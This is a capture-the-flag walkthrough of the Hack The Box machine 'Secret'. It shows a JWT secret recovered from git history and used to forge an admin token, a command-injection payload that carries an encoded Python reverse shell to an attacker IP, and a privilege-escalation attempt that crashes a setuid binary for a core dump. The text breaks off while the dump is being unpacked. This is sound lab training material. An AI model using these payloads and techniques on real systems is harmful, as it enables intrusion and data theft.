Hack-The-Box-walkthrough[Secret]

introduce

OS: Linux
Difficulty: Easy
Points: 20
Release: 30 Oct 2021
IP: 10.10.11.120

  • my htb rank

Enumeration

Open Ports

Ports Service Takeaways
22 SSH OpenSSH 8.2p1
80 HTTP nginx 1.18.0
3000 HTTP Node.js

NMAP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# Nmap 7.91 scan initiated Sun Oct 31 00:15:29 2021 as: nmap -vvv -p 22,80,3000 -A -v -sC -sV -oN intial.nmap 10.10.11.120
Nmap scan report for secret.htb (10.10.11.120)
Host is up, received syn-ack (0.23s latency).
Scanned at 2021-10-31 00:15:31 EDT for 21s

PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 97:af:61:44:10:89:b9:53:f0:80:3f:d7:19:b1:e2:9c (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDBjDFc+UtqNVYIrxJx+2Z9ZGi7LtoV6vkWkbALvRXmFzqStfJ3UM7TuOcZcPd82vk0gFVN2/wjA3LUlbUlr7oSlD15DdJkr/XjYrZLJnG4NCxcAnbB5CIRaWmrrdGy5pJ/KgKr4UEVGDK+oAgE7wbv++el2WeD1DF8gw+GIHhtjrK1s0nfyNGcmGOwx8crtHB4xLpopAxWDr2jzMFMdGcIzZMRVLbe+TsG/8O/GFgNXU1WqFYGe4xl+MCmomjh9mUspf1WP2SRZ7V0kndJJxtRBTw6V+NQ/7EJYJPMeugOtbputyZMH+jALhzxBs07JLbw8Bh9JX+ZJl/j6VcIDfFRXxB7ceSe/cp4UYWcLqN+AsoE7k+uMCV6vmXYPNC3g5xfMMrDfVmGmrPbop0oPZUB3kr8iz5CI/qM61WI07/MME1uyM352WZHAJmeBLPAOy05ZBY+DgpVElkr0vVa+3UyKsF1dC3Qm2jisx/qh3sGauv1R8oXGHvy0+oeMOlJN+k=
| 256 95:ed:65:8d:cd:08:2b:55:dd:17:51:31:1e:3e:18:12 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOL9rRkuTBwrdKEa+8VrwUjloHdmUdDR87hBOczK1zpwrsV/lXE1L/bYvDMUDVD0jE/aqMhekqNfBimt8aX53O0=
| 256 33:7b:c1:71:d3:33:0f:92:4e:83:5a:1f:52:02:93:5e (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINM1K8Yufj5FJnBjvDzcr+32BQ9R/2lS/Mu33ExJwsci
80/tcp open http syn-ack nginx 1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: DUMB Docs
3000/tcp open http syn-ack Node.js (Express middleware)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: DUMB Docs
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Oct 31 00:15:52 2021 -- 1 IP address (1 host up) scanned in 24.06 seconds

Manual Enumeration

Just Visting websites on ports 80,3000 both looked same.
Just gazing through website 2 features looks intresting.

Live Demo

which redirets to /api endpoint

Nothing intresting for now so let’s move on to the seond feature.

Source Code

The website seeming gives out it source code on website just like any other open source projects.

So let’s download it and inspects for something good.

Looking at the directory listing of source code it looks like it a git repository.

It was all confirmed by ohmyzsh in my case.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
➜  local-web git:(master) ls -al
total 116
drwxr-xr-x 8 kali kali 4096 Sep 3 01:57 .
drwxr-xr-x 3 kali kali 4096 Oct 31 00:28 ..
-rw-r--r-- 1 kali kali 72 Sep 3 01:59 .env
drwxr-xr-x 8 kali kali 4096 Sep 8 14:33 .git
-rw-r--r-- 1 kali kali 885 Sep 3 01:56 index.js
drwxr-xr-x 2 kali kali 4096 Aug 13 00:42 model
drwxr-xr-x 201 kali kali 4096 Aug 13 00:42 node_modules
-rw-r--r-- 1 kali kali 491 Aug 13 00:42 package.json
-rw-r--r-- 1 kali kali 69452 Aug 13 00:42 package-lock.json
drwxr-xr-x 4 kali kali 4096 Sep 3 01:54 public
drwxr-xr-x 2 kali kali 4096 Sep 3 02:32 routes
drwxr-xr-x 4 kali kali 4096 Aug 13 00:42 src
-rw-r--r-- 1 kali kali 651 Aug 13 00:42 validations.js

I used git extractor tools to extract everything from the git archives.
Link to the GitTools I Used https://github.com/internetwache/GitTools

1
2
mkdir dump
/root/GitTools-master/Extractor/extractor.sh local-web/ dump

and it will take time as it is a big repository so give it some time to complete.

While that’s running I did some manual enumeration.

Looking at index.js we can see that the is an /api/user endpoint on auth route and auth route and it logic is defined in /route/auth.

so let’s check /routes/auth.js

we can see there is the /register endpoint to register user so let’s confirm this by sending a post request as get requests are not allowed.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
┌──(root💀kali)-[~/hackthebox/machine/secret]
└─# curl -X POST -H 'Content-Type: application/json' -v http://secret.htb/api/user/register --data '{"foo": "bar"}'
Note: Unnecessary use of -X or --request, POST is already inferred.
* Trying 10.10.11.120:80...
* Connected to secret.htb (10.10.11.120) port 80 (#0)
> POST /api/user/register HTTP/1.1
> Host: secret.htb
> User-Agent: curl/7.74.0
> Accept: */*
> Content-Type: application/json
> Content-Length: 14
>
* upload completely sent off: 14 out of 14 bytes
* Mark bundle as not supporting multiuse
< HTTP/1.1 400 Bad Request
< Server: nginx/1.18.0 (Ubuntu)
< Date: Mon, 01 Nov 2021 13:35:31 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 18
< Connection: keep-alive
< X-Powered-By: Express
< ETag: W/"12-FCVaNPnXYf0hIGYsTUTYByRq5/U"
<
* Connection #0 to host secret.htb left intact
"name" is required

looks like we have a valid endpoint so let’s see what data it is expecting us to send in order to register a user.
Looks like it expects us to give name,email,password in order to register the user.
Looks like this schema is also defined in validation.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
const Joi = require('@hapi/joi')


// register validation

const registerValidation = data =>{
const schema = {
name: Joi.string().min(6).required(),
email: Joi.string().min(6).required().email(),
password: Joi.string().min(6).required()
};

return Joi.validate(data, schema)
}

// login validation

const loginValidation = data => {
const schema2 = {
email: Joi.string().min(6).required().email(),
password: Joi.string().min(6).required()
};

return Joi.validate(data, schema2)
}


module.exports.registerValidation = registerValidation
module.exports.loginValidation = loginValidation

so now we know that what we know how we can register and login as a user.

And we can see that login endpoint creates a JWT token upon loggin in.

1
2
const token = jwt.sign({ _id: user.id, name: user.name , email: user.email}, process.env.TOKEN_SECRET )
res.header('auth-token', token).send(token);

and now we know the location where secret is stored so we can just see it.

1
2
3
4
┌──(root💀kali)-[~/hackthebox/machine/secret]
└─# cat local-web/.env
DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
TOKEN_SECRET = secret

but no luck I guess it redacted or used a dummy word but it can we in the previous commits so let’s check in that dump folder.

Git Dump Enumeration

Now we have extracted everything from Git repo we can see there is a total of 6 commit.

1
2
3
4
5
6
7
8
9
10
11
┌──(root💀kali)-[~/hackthebox/machine/secret/dump]
└─# ls -la
总用量 32
drwxr-xr-x 8 root root 4096 11月 1 09:34 .
drwxr-xr-x 4 root root 4096 11月 1 09:28 ..
drwxr-xr-x 7 root root 4096 11月 1 09:30 0-67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78
drwxr-xr-x 7 root root 4096 11月 1 09:31 1-3a367e735ee76569664bf7754eaaade7c735d702
drwxr-xr-x 7 root root 4096 11月 1 09:32 2-de0a46b5107a2f4d26e348303e76d85ae4870934
drwxr-xr-x 7 root root 4096 11月 1 09:33 3-e297a2797a5f62b6011654cf6fb6ccb6712d2d5b
drwxr-xr-x 7 root root 4096 11月 1 09:34 4-55fe756a29268f9b4e786ae468952ca4a8df1bd8
drwxr-xr-x 7 root root 4096 11月 1 09:34 5-4e5547295cfe456d8ca7005cb823e1101fd1f9cb

one thing that we know from above manual enumeration is that it used secret to sign JWT tokens so let’s hunt for it.
Looking through all the commit I found token in the following commits.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
┌──(root💀kali)-[~/hackthebox/machine/secret/dump]
└─# cat 0-67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78/.env
DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
TOKEN_SECRET = secret
┌──(root💀kali)-[~/hackthebox/machine/secret/dump]
└─# cat 1-3a367e735ee76569664bf7754eaaade7c735d702/.env
DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE
┌──(root💀kali)-[~/hackthebox/machine/secret/dump]
└─# cat 2-de0a46b5107a2f4d26e348303e76d85ae4870934/.env
DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE
┌──(root💀kali)-[~/hackthebox/machine/secret/dump]
└─# cat 3-e297a2797a5f62b6011654cf6fb6ccb6712d2d5b/.env
DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
TOKEN_SECRET = secret
┌──(root💀kali)-[~/hackthebox/machine/secret/dump]
└─# cat 4-55fe756a29268f9b4e786ae468952ca4a8df1bd8/.env
DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE
┌──(root💀kali)-[~/hackthebox/machine/secret/dump]
└─# cat 5-4e5547295cfe456d8ca7005cb823e1101fd1f9cb/.env
DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE

So now we have the secret let’s go into details of how the token is signed.
you can check that on /routes/verifytoken.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
const jwt = require("jsonwebtoken");

module.exports = function (req, res, next) {
const token = req.header("auth-token");
if (!token) return res.status(401).send("Access Denied");

try {
const verified = jwt.verify(token, process.env.TOKEN_SECRET);
req.user = verified;
next();
} catch (err) {
res.status(400).send("Invalid Token");
}
};

let’s just create a sample token using the secret found.

Registering User

So let’s register the user from our above knowledge.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
┌──(root💀kali)-[~/hackthebox/machine/secret/dump]
└─# curl -X POST -H 'Content-Type: application/json' -v http://secret.htb/api/user/register --data '{"name": "oopsie","email": "oopsie@oops.com","password": "oopsie"}'
Note: Unnecessary use of -X or --request, POST is already inferred.
* Trying 10.10.11.120:80...
* Connected to secret.htb (10.10.11.120) port 80 (#0)
> POST /api/user/register HTTP/1.1
> Host: secret.htb
> User-Agent: curl/7.74.0
> Accept: */*
> Content-Type: application/json
> Content-Length: 66
>
* upload completely sent off: 66 out of 66 bytes
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: nginx/1.18.0 (Ubuntu)
< Date: Mon, 01 Nov 2021 13:44:13 GMT
< Content-Type: application/json; charset=utf-8
< Content-Length: 17
< Connection: keep-alive
< X-Powered-By: Express
< ETag: W/"11-MVKplfg5kMeyW9LR080TwknJb0I"
<
* Connection #0 to host secret.htb left intact
{"user":"oopsie"}

We registered a user oopsie.

Now let’s try and login. For login we know we need to send email and password.(from validation.js)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
┌──(root💀kali)-[~/hackthebox/machine/secret/dump]
└─# curl -X POST -H 'Content-Type: application/json' -v http://secret.htb/api/user/login --data '{"email": "oopsie@oops.com","password": "oopsie"}'
Note: Unnecessary use of -X or --request, POST is already inferred.
* Trying 10.10.11.120:80...
* Connected to secret.htb (10.10.11.120) port 80 (#0)
> POST /api/user/login HTTP/1.1
> Host: secret.htb
> User-Agent: curl/7.74.0
> Accept: */*
> Content-Type: application/json
> Content-Length: 49
>
* upload completely sent off: 49 out of 49 bytes
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: nginx/1.18.0 (Ubuntu)
< Date: Mon, 01 Nov 2021 13:44:50 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 205
< Connection: keep-alive
< X-Powered-By: Express
< auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTdmZWYyZDg5MzgyMTA0NTlhY2I3NGEiLCJuYW1lIjoib29wc2llIiwiZW1haWwiOiJvb3BzaWVAb29wcy5jb20iLCJpYXQiOjE2MzU3NzQyOTB9.HE0Zmxlx0YF7WRHX3Ju0Hgu0BlKVj7yqzG4hmvTAw3Y
< ETag: W/"cd-qokR8BWKB2cBLuHw0rUC0BtzrYs"
<
* Connection #0 to host secret.htb left intact
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTdmZWYyZDg5MzgyMTA0NTlhY2I3NGEiLCJuYW1lIjoib29wc2llIiwiZW1haWwiOiJvb3BzaWVAb29wcy5jb20iLCJpYXQiOjE2MzU3NzQyOTB9.HE0Zmxlx0YF7WRHX3Ju0Hgu0BlKVj7yqzG4hmvTAw3Y

looks like we are logged in and we have our token.

now let’s see if we can do something intresting with but let’s first see how it validates a JWT token.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
const jwt = require("jsonwebtoken");

module.exports = function (req, res, next) {
const token = req.header("auth-token");
if (!token) return res.status(401).send("Access Denied");

try {
const verified = jwt.verify(token, process.env.TOKEN_SECRET);
req.user = verified;
next();
} catch (err) {
res.status(400).send("Invalid Token");
}
};

looks like we just have to pass it as header in request with header name auth-token.

so let’s confirm it by sending it to /api/priv endpoint which just tells you if you are admin or not.

1
2
3
┌──(root💀kali)-[~/hackthebox/machine/secret/dump]
└─# curl http://secret.htb/api/priv -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTdmZWYyZDg5MzgyMTA0NTlhY2I3NGEiLCJuYW1lIjoib29wc2llIiwiZW1haWwiOiJvb3BzaWVAb29wcy5jb20iLCJpYXQiOjE2MzU3NzQyOTB9.HE0Zmxlx0YF7WRHX3Ju0Hgu0BlKVj7yqzG4hmvTAw3Y'
{"role":{"role":"you are normal user","desc":"oopsie"}}

Looks like we are not admin but we have the secret we can forge the token.

Let’s Understand what we need to satisfy in order to be an admin it is declared in /routes/private.js

so it basically checks that if name == ‘theadmin’ if so then it will give us the admin capabilities.

Let’s decode our token and find how its made.

I will use jwttool for it you can use any tool of your liking you can also use their online website jwt.io which easy and pretty convinient.

website: https://jwt.io/

tool: https://github.com/ticarpi/jwt_tool

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
┌──(root💀kali)-[~/hackthebox/machine/secret/dump]
└─# python3 /root/jwt_tool-master/jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTdmZWYyZDg5MzgyMTA0NTlhY2I3NGEiLCJuYW1lIjoib29wc2llIiwiZW1haWwiOiJvb3BzaWVAb29wcy5jb20iLCJpYXQiOjE2MzU3NzQyOTB9.HE0Zmxlx0YF7WRHX3Ju0Hgu0BlKVj7yqzG4hmvTAw3Y

\ \ \ \ \ \
\__ | | \ |\__ __| \__ __| |
| | \ | | | \ \ |
| \ | | | __ \ __ \ |
\ | _ | | | | | | | |
| | / \ | | | | | | | |
\ | / \ | | |\ |\ | |
\______/ \__/ \__| \__| \__| \______/ \______/ \__|
Version 2.1.0 \______| @ticarpi

Original JWT:

=====================
Decoded Token Values:
=====================

Token header values:
[+] alg = "HS256"
[+] typ = "JWT"

Token payload values:
[+] _id = "617fef2d8938210459acb74a"
[+] name = "oopsie"
[+] email = "oopsie@oops.com"
[+] iat = 1635774290 ==> TIMESTAMP = 2021-11-01 09:44:50 (UTC)

----------------------
JWT common timestamps:
iat = IssuedAt
exp = Expires
nbf = NotBefore
----------------------

Forging token

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(root💀kali)-[~/hackthebox/machine/secret/dump]
└─# python3 /root/jwt_tool-master/jwt_tool.py -I -S hs256 -pc 'name' -pv 'theadmin' -p 'gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE' eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTdmZWYyZDg5MzgyMTA0NTlhY2I3NGEiLCJuYW1lIjoib29wc2llIiwiZW1haWwiOiJvb3BzaWVAb29wcy5jb20iLCJpYXQiOjE2MzU3NzQyOTB9.HE0Zmxlx0YF7WRHX3Ju0Hgu0BlKVj7yqzG4hmvTAw3Y

\ \ \ \ \ \
\__ | | \ |\__ __| \__ __| |
| | \ | | | \ \ |
| \ | | | __ \ __ \ |
\ | _ | | | | | | | |
| | / \ | | | | | | | |
\ | / \ | | |\ |\ | |
\______/ \__/ \__| \__| \__| \______/ \______/ \__|
Version 2.1.0 \______| @ticarpi

Original JWT:

jwttool_84f445163ec6ec4a952b95f091f746f1 - Tampered token - HMAC Signing:
[+] eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTdmZWYyZDg5MzgyMTA0NTlhY2I3NGEiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6Im9vcHNpZUBvb3BzLmNvbSIsImlhdCI6MTYzNTc3NDI5MH0.-R0fMlWc1aeH9qhFtd2kwcp26ykHDtRBKLmhdduILAY

Now we have the forged token let’s verify it at /api/priv endpoint

1
2
3
┌──(root💀kali)-[~/hackthebox/machine/secret/dump]
└─# curl http://secret.htb/api/priv -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTdmZWYyZDg5MzgyMTA0NTlhY2I3NGEiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6Im9vcHNpZUBvb3BzLmNvbSIsImlhdCI6MTYzNTc3NDI5MH0.-R0fMlWc1aeH9qhFtd2kwcp26ykHDtRBKLmhdduILAY'
{"creds":{"role":"admin","username":"theadmin","desc":"welcome back admin"}}

Now we are admin.

Now let’s try to look at logs as we can see it in /routes/private.js

We have to specify the file name as the get parameter with the name file.

1
2
3
┌──(root💀kali)-[~/hackthebox/machine/secret/dump]
└─# curl 'http://secret.htb/api/logs?file=/etc/passwd' -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTdmZWYyZDg5MzgyMTA0NTlhY2I3NGEiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6Im9vcHNpZUBvb3BzLmNvbSIsImlhdCI6MTYzNTc3NDI5MH0.-R0fMlWc1aeH9qhFtd2kwcp26ykHDtRBKLmhdduILAY'
{"killed":false,"code":128,"signal":null,"cmd":"git log --oneline /etc/passwd"}

Looks like it’s a comand injection.

Exploitation

Command Injection

1
2
3
┌──(root💀kali)-[~/hackthebox/machine/secret/dump]
└─# curl 'http://secret.htb/api/logs?file=;id' -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTdmZWYyZDg5MzgyMTA0NTlhY2I3NGEiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6Im9vcHNpZUBvb3BzLmNvbSIsImlhdCI6MTYzNTc3NDI5MH0.-R0fMlWc1aeH9qhFtd2kwcp26ykHDtRBKLmhdduILAY'
"80bf34c fixed typos 🎉\n0c75212 now we can view logs from server 😃\nab3e953 Added the codes\nuid=1000(dasith) gid=1000(dasith) groups=1000(dasith)\n"

Yeah so now let’s to get the rev shell.

from: revshells.com

1
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("10.10.14.20",443));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")'

base64 + url encoded final payload:

1
;echo+cHl0aG9uMyAtYyAnaW1wb3J0IG9zLHB0eSxzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KCgiMTAuMTAuMTQuMjAiLDQ0MykpO1tvcy5kdXAyKHMuZmlsZW5vKCksZilmb3IgZiBpbigwLDEsMildO3B0eS5zcGF3bigic2giKSc=+|+base64+-d|+bash
1
2
┌──(root💀kali)-[~/hackthebox/machine/secret]
└─# curl 'http://secret.htb/api/logs?file=;echo+cHl0aG9uMyAtYyAnaW1wb3J0IG9zLHB0eSxzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KCgiMTAuMTAuMTQuMjAiLDQ0MykpO1tvcy5kdXAyKHMuZmlsZW5vKCksZilmb3IgZiBpbigwLDEsMildO3B0eS5zcGF3bigic2giKSc=+|+base64+-d|+bash' -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTdmZWYyZDg5MzgyMTA0NTlhY2I3NGEiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6Im9vcHNpZUBvb3BzLmNvbSIsImlhdCI6MTYzNTc3NDI5MH0.-R0fMlWc1aeH9qhFtd2kwcp26ykHDtRBKLmhdduILAY'

And boom we have the revshell

python3 -c ‘import pty; pty.spawn(“/bin/bash”)’

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌──(root💀kali)-[~/hackthebox/machine/secret]
└─# rlwrap nc -nlvp 443
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.11.120.
Ncat: Connection from 10.10.11.120:37226.
id
id
uid=1000(dasith) gid=1000(dasith) groups=1000(dasith)
whoami
whoami
dasith
python3 -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
id
id
uid=1000(dasith) gid=1000(dasith) groups=1000(dasith)
dasith@secret:~/local-web$
cat user.txt
4b2b3d02130064c7a2da7ede04a7e856
dasith@secret:~$

PrivESC

SUID Binaries

1
find / -type f -perm -u=s 2>/dev/null

Gives you an intresting file with setuid at /opt/count.
looking for the files in opt directory we are given the code for the binary too.

1
2
3
4
dasith@secret:/opt$ ls
code.c
count
valgrind.log

So let’s go through the code.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <dirent.h>
#include <sys/prctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <linux/limits.h>

void dircount(const char *path, char *summary)
{
DIR *dir;
char fullpath[PATH_MAX];
struct dirent *ent;
struct stat fstat;

int tot = 0, regular_files = 0, directories = 0, symlinks = 0;

if((dir = opendir(path)) == NULL)
{
printf("\nUnable to open directory.\n");
exit(EXIT_FAILURE);
}
while ((ent = readdir(dir)) != NULL)
{
++tot;
strncpy(fullpath, path, PATH_MAX-NAME_MAX-1);
strcat(fullpath, "/");
strncat(fullpath, ent->d_name, strlen(ent->d_name));
if (!lstat(fullpath, &fstat))
{
if(S_ISDIR(fstat.st_mode))
{
printf("d");
++directories;
}
else if(S_ISLNK(fstat.st_mode))
{
printf("l");
++symlinks;
}
else if(S_ISREG(fstat.st_mode))
{
printf("-");
++regular_files;
}
else printf("?");
printf((fstat.st_mode & S_IRUSR) ? "r" : "-");
printf((fstat.st_mode & S_IWUSR) ? "w" : "-");
printf((fstat.st_mode & S_IXUSR) ? "x" : "-");
printf((fstat.st_mode & S_IRGRP) ? "r" : "-");
printf((fstat.st_mode & S_IWGRP) ? "w" : "-");
printf((fstat.st_mode & S_IXGRP) ? "x" : "-");
printf((fstat.st_mode & S_IROTH) ? "r" : "-");
printf((fstat.st_mode & S_IWOTH) ? "w" : "-");
printf((fstat.st_mode & S_IXOTH) ? "x" : "-");
}
else
{
printf("??????????");
}
printf ("\t%s\n", ent->d_name);
}
closedir(dir);

snprintf(summary, 4096, "Total entries = %d\nRegular files = %d\nDirectories = %d\nSymbolic links = %d\n", tot, regular_files, directories, symlinks);
printf("\n%s", summary);
}


void filecount(const char *path, char *summary)
{
FILE *file;
char ch;
int characters, words, lines;

file = fopen(path, "r");

if (file == NULL)
{
printf("\nUnable to open file.\n");
printf("Please check if file exists and you have read privilege.\n");
exit(EXIT_FAILURE);
}

characters = words = lines = 0;
while ((ch = fgetc(file)) != EOF)
{
characters++;
if (ch == '\n' || ch == '\0')
lines++;
if (ch == ' ' || ch == '\t' || ch == '\n' || ch == '\0')
words++;
}

if (characters > 0)
{
words++;
lines++;
}

snprintf(summary, 256, "Total characters = %d\nTotal words = %d\nTotal lines = %d\n", characters, words, lines);
printf("\n%s", summary);
}


int main()
{
char path[100];
int res;
struct stat path_s;
char summary[4096];

printf("Enter source file/directory name: ");
scanf("%99s", path);
getchar();
stat(path, &path_s);
if(S_ISDIR(path_s.st_mode))
dircount(path, summary);
else
filecount(path, summary);

// drop privs to limit file write
setuid(getuid());
// Enable coredump generation
prctl(PR_SET_DUMPABLE, 1);
printf("Save results a file? [y/N]: ");
res = getchar();
if (res == 121 || res == 89) {
printf("Path: ");
scanf("%99s", path);
FILE *fp = fopen(path, "a");
if (fp != NULL) {
fputs(summary, fp);
fclose(fp);
} else {
printf("Could not open %s for writing\n", path);
}
}

return 0;
}

Looking at the source code the write functionality looks intresting but the problem is that we cannot write in privilleged mode and not the content of file so there is no possible way we can write something to high-privileged file or see the content of higher privileged file.

The catch over here is that what if we crash the code in between the execution of the code.

Most of the time if we crash the process in between the report is most of the time saved in /var/crash in linux distro.

Normally this won’t be possible but with this perm set prctl(PR_SET_DUMPABLE, 1); it could be possible. I am still not sure about what it does exactly but here is the man page for this function if you are intrested.

https://man7.org/linux/man-pages/man2/prctl.2.html

As far as I understand this determines whether core dumps are produced or not and by default it is always 1 so not sure why he manually did probably as a hint.

As it is set to 1 we can produce core dump so let’s test this thoery practically.

For this we need 2 shells so first make sure you have 2 shells.

1 -> To run the count binary
2 -> To create crash

Shell 1

1
2
3
4
dasith@secret:/$ cd /opt
dasith@secret:/opt$ ./count -p
/root/root.txt
y

Now let’s go to shell 2 to crash the binary

Shell 2

1
2
3
4
5
dasith@secret:/opt$ ps -aux | grep count
ps -aux | grep count
root 853 0.0 0.1 235676 7468 ? Ssl 12:11 0:00 /usr/lib/accountsservice/accounts-daemon
dasith 1526 0.0 0.0 2488 588 pts/1 S+ 14:29 0:00 ./count -p
dasith 1534 0.0 0.0 6432 736 pts/3 S+ 14:30 0:00 grep --color=auto count

Now kill the process with the PID corresponding to ./count -p

1
dasith@secret:/opt$ kill -BUS 1526

Now you can check the shell1 if the process is been crashed.

Shell 1

1
2
3
4
5
dasith@secret:/opt$ ./count -p
/root/root.txt
y
bash: [67393: 3 (255)] tcsetattr: Inappropriate ioctl for device
Path: Bus error (core dumped)

Indeed we have crashed the process so lets check the /var/crash for the report.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
dasith@secret:/opt$ cd cd /var/crash
cd cd /var/crash
bash: cd: too many arguments
dasith@secret:/opt$ cd /var/crash
cd /var/crash
dasith@secret:/var/crash$ ls -la
ls -la
total 88
drwxrwxrwt 2 root root 4096 Nov 1 14:30 .
drwxr-xr-x 14 root root 4096 Aug 13 05:12 ..
-rw-r----- 1 root root 27203 Oct 6 18:01 _opt_count.0.crash
-rw-r----- 1 dasith dasith 28055 Nov 1 14:30 _opt_count.1000.crash
-rw-r----- 1 root root 24048 Oct 5 14:24 _opt_countzz.0.crash
dasith@secret:/var/crash$ mkdir /tmp/oopsie
mkdir /tmp/oopsie
dasith@secret:/var/crash$ apport-unpack _opt_count.1000.crash /tmp/oopsie
apport-unpack _opt_count.1000.crash /tmp/oopsie
dasith@secret:/var/crash$ cd /tmp/oopsie
cd /tmp/oopsie
dasith@secret:/tmp/oopsie$ ls -la
ls -la
total 436
drwxr-xr-x 2 dasith dasith 4096 Nov 1 14:32 .
drwxrwxrwt 13 root root 4096 Nov 1 14:31 ..
-rw-r--r-- 1 dasith dasith 5 Nov 1 14:32 Architecture
